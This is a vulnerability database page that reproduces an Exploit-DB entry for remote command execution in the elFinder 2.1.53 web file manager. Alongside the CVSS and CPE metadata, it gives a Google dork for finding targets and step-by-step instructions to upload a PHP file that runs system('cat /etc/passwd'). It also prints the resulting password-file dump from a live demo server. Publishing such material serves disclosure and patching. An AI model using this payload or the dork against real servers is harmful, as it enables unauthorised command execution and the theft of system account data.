elFinder Web file manager Version: 2.1.53 Remote Command Execution

vendor:

elFinder

by:

tmrswrr

6.1

CVSS

HIGH

Remote Command Execution

CWE

Product Name: elFinder

Affected Version From: 2.1.53

Affected Version To: 2.1.53

Patch Exists: NO

Related CWE:

CPE: a:studio-42:elfinder:2.1.53

Metasploit:

Other Scripts:

Platforms Tested:

2023

elFinder Web file manager Version: 2.1.53 Remote Command Execution

The elFinder Web file manager version 2.1.53 allows remote attackers to execute arbitrary commands via uploading a crafted PHP file that leverages the system function.

Mitigation:

Avoid allowing file uploads from untrusted sources, and implement proper input validation to prevent command execution.

Source

Exploit-DB raw data:

# Exploit Title: elFinder Web file manager Version: 2.1.53 Remote Command Execution
# Date: 23/11/2023
# Exploit Author: tmrswrr
# Google Dork: intitle:"elFinder 2.1.53"
# Vendor Homepage: https://studio-42.github.io/elFinder/
# Software Link: https://github.com/Studio-42/elFinder/archive/refs/tags/2.1.53.zip
# Version: 2.1.53
# Tested on: https://www.softaculous.com/apps/cms/CSZ_CMS

1 ) Enter admin panel and go to this url > https://demos1.softaculous.com/CSZ_CMSstym1wtmnz/admin/filemanager
2 ) Click Template Main and upload this test.php file :

<?php echo system('cat /etc/passwd'); ?>

3 ) https://demos1.softaculous.com/CSZ_CMSstym1wtmnz/test.php

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-bus-proxy:x:999:998:systemd Bus Proxy:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin polkitd:x:998:997:User for polkitd:/:/sbin/nologin tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin chrony:x:997:995::/var/lib/chrony:/sbin/nologin soft:x:1000:1000::/home/soft:/sbin/nologin saslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin emps:x:995:1001::/home/emps:/bin/bash named:x:25:25:Named:/var/named:/sbin/nologin exim:x:93:93::/var/spool/exim:/sbin/nologin vmail:x:5000:5000::/var/local/vmail:/bin/bash webuzo:x:992:991::/home/webuzo:/bin/bash apache:x:991:990::/home/apache:/sbin/nologin mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false